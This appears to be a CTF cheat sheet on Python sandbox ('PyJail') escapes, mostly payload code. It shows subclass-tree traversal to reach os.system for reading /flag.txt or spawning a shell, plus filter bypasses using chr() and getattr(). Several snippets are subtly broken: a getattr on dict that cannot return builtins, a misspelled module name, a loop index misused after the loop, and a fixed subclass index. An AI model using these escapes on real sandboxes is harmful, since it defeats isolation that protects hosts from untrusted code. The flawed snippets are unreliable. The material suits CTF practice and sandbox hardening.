Python Jail Escapes & Sandbox Bypasses
Break out of restricted Python execution environments by traversing class inheritance trees, overriding builtins, and bypassing string/import filters.
// prerequisite reading
What is a PyJail?
A PyJail (Python Jail) is a CTF challenge that forces you to execute code inside a restricted Python shell where built-in functions (eval, exec, open, import), variable names, or key characters (quotes, dots, brackets) are disabled or stripped.
The goal is to escape the restricted environment and execute arbitrary shell commands to read /flag.txt.
1. Class Inheritance Tree Traversal
Even if import and __builtins__ are deleted, all Python objects inherit from the root object class.
The Canonical Inheritance Chain
# 1. Obtain object class from an empty tuple () or string ""
"".__class__.__mro__[1] # returns <class 'object'>
# 2. Inspect all classes loaded in memory
"".__class__.__mro__[1].__subclasses__()
Search the returned list of subclasses for modules capable of file access or command execution (e.g., os._wrap_close, subprocess.Popen, warning.catch_warnings, site._Printer):
# Accessing os module via warnings.catch_warnings
for idx, cls in enumerate("".__class__.__mro__[1].__subclasses__()):
if "catch_warnings" in cls.__name__:
print(f"Found catch_warnings at index {idx}")
# Trigger command execution
"".__class__.__mro__[1].__subclasses__()[idx].__init__.__globals__['sys'].modules['os'].system('cat /flag.txt')
2. Bypassing Banned Characters
Bypassing Quotes (' and ")
Use character integer arrays, chr() functions, or request arguments:
# 1. Using bytes / chr()
chr(109) + chr(97) + chr(116) # 'cat'
# 2. Using request parameters (in Flask pyjails)
request.args.cmd # Evaluates string passed via GET parameter ?cmd=cat /flag.txt
Bypassing Underscores (_)
If _ is forbidden, construct attribute strings using Unicode normalization or dictionary lookups:
# Accessing __builtins__ via getattr and chr()
getattr(dict, chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95))
Bypassing Dots (.)
# Use getattr()
getattr(getattr(object, '__subclasses__')()[138], '__init__')
3. Useful PyJail Payload Snippets
Direct Builtin Recovery
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.__globals__['__builtins__']['open']('/flag.txt').read()
Asyncio / Os Subprocess Payload
().__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['linecache'].os.system('sh')
Inspecting Local / Global Variables
print(globals())
print(locals())
print(dir())